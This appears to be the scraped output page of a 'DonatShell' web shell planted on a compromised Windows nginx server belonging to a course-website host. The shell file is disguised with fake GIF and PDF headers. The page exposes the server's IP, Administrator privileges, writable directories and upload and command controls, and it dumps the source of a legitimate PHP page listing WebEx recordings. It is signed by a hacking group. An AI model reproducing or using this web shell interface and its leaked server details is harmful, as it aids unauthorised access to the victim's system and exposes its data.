GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/WebExRecordings.phpinc.cloak
<?
// common/WebExRecordings.phpinc
// Display a list of WebEx Recordings.

//$skipAuthentication = true; // Uncomment for after section authentication.
include('application.phpinc');

$courseNumber = formValue("Course","");
$ClassRoster = formValue("ClassRoster","");
if ($courseNumber != '' && isset($_GET['ClassRoster'])) include ('Course/CourseRoster.phpinc');

$currentPath = explode("/",$_SERVER['PHP_SELF']);
#printVar('count($currentPath)',count($currentPath));
if (count($currentPath) >= 5) {
	$courseNumber = $currentPath[count($currentPath)-3];
	$headTitle = '_CST_ - '.$courseNumber.' WebEx Recordings';
	$pageTitle = '_CST_<br>'.$courseNumber.' WebEx Recordings';
	$courseNumber = $currentPath[count($currentPath)-3];
	$f_courseNumber = $courseNumber;
	$instructor = $currentPath[count($currentPath)-4];
	$CDN = courseDeptNumber($courseNumber);
	$pageMenu = 'Course/courseMenu.phpinc';
	$sectionTitle = $f_courseNumber." WebEx Recordings";
} else {
	$headTitle = '_CST_ - WebEx Recordings';
	$pageTitle = '_CST_<br>WebEx Recordings';
	$sectionTitle = "WebEx Recordings";
}
include('common/pageHeader.phpinc');
//include('Login/authenticate.phpinc'); // Uncomment for after section authentication.
include('common/sectionHeader.phpinc');
?>
<br>
You will need to download and install the <a href="/JimMartinson/Setup/WebEx/WebEx_WRF_Player_v28.12.0.16851.msi">WebEx WRF Player v28.12.0.16851</a> for Windows in order to view a recording.
<br>
You can get other players <a href="http://www.webex.com/play-webex-recording.html">from the webex.com site</a> (<a href="https://welcome.webex.com/client/T27LD/mac/intel/webexplayer_intel.dmg">Like for Mac OSX</a>).
<br>
<?
function file_extension($filename)
{
    $path_info = pathinfo($filename);
		#printVar('$path_info',$path_info);
		if (isset($path_info['extension'])) {
			return $path_info['extension'];
		} else {
			return '';
		}
}
// Look for recordings.
$fileExtensions = array('arf','txt','URL','wrf');
$getDir = $_SERVER['DOCUMENT_ROOT'];

$WebExRecordingDirectory = opendir(".");
// Get all subdirectories.
$WebExSubdirectories = array();
while($entryName = readdir($WebExRecordingDirectory)) {
	if (filetype($entryName) == 'dir' && $entryName != '..' && substr($entryName,0,1) != '_') {
		if ($entryName != '.') {
			$WebExSubdirectories[] = './'.$entryName;
		} else {
			$WebExSubdirectories[] = $entryName;
		}
	}
}
// close directory
closedir($WebExRecordingDirectory);
#printVar('$WebExSubdirectories',$WebExSubdirectories);

// open each directory and get each WebEx file.
$webExArray = array();
$webExArray['file'] = array();
$webExArray['directory'] = array();
foreach ($WebExSubdirectories as $currentDirectory) {
	#printVar('$currentDirectory',$currentDirectory);
	if ( !stristr($currentDirectory,'xArchive') ) {
		$WebExRecordingDirectory = opendir($currentDirectory);
		while($entryName = readdir($WebExRecordingDirectory)) {
			#printVar('$entryName',$entryName);
			#printVar('filetype($entryName)',filetype($entryName));
			if (in_array(file_extension($entryName),$fileExtensions)) {
				$webExArray['file'][] = $entryName;
				$webExArray['directory'][] = $currentDirectory;
			}
		}
		closedir($WebExRecordingDirectory);
	}
}

print ("<br>\n");

#printVar('$webExArray',$webExArray);
#natcasesort($webExArray);
#printVar('$webExArray',$webExArray);

// Display links to the WebEx recordings.
if (isset($webExArray)) {
	//	count elements in $webExArray
	$webExCount	= count($webExArray['file']); if ( !isset($webExArray['file'][0]) ) $webExCount = 0;
	if ($webExCount > 1) {
		$fileCount =  "$webExCount WebEx recordings.";
	} else {
		$fileCount =  "1 WebEx recordings.";
	}
	$fileCount .= '<span class="small"> (In reverse order)</span>';
	// sort them.
	// display links to them.
	print("<table border=1 cellpadding=5 cellspacing=0 class=whitelinks>\n");
	print('<tr><th colspan="3">'.$fileCount.'</th></tr>'."\n");
	print("<tr><th>Directory</th><th>Recording Filename</th><th>Recording size</th></tr>\n");
	// loop through the array of files and print them all
	for($index=$webExCount-1; $index >= 0 ; $index--) {
		#if (substr("$webExArray[$index]", 0, 1) != "."){ // don't list hidden files.
?>
		<tr><td><?=str_replace(array("./","."),"",$webExArray['directory'][$index])?></td><td><a href="<?=$webExArray['directory'][$index]?>/<?=$webExArray['file'][$index]?>"><?=$webExArray['file'][$index]?></a></td><td><?=filesize($webExArray['directory'][$index].'/'.$webExArray['file'][$index])?></td></tr>
<?
		#}
	}
	print("</table>\n");
} else {
	print("<table border=1 cellpadding=5 cellspacing=0 class=whitelinks>\n");
	print('<tr><th colspan="2">No WebEx recordings.</th></tr>'."\n");
	print("</table>\n");
}


include('common/sectionFooter.phpinc');
include('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team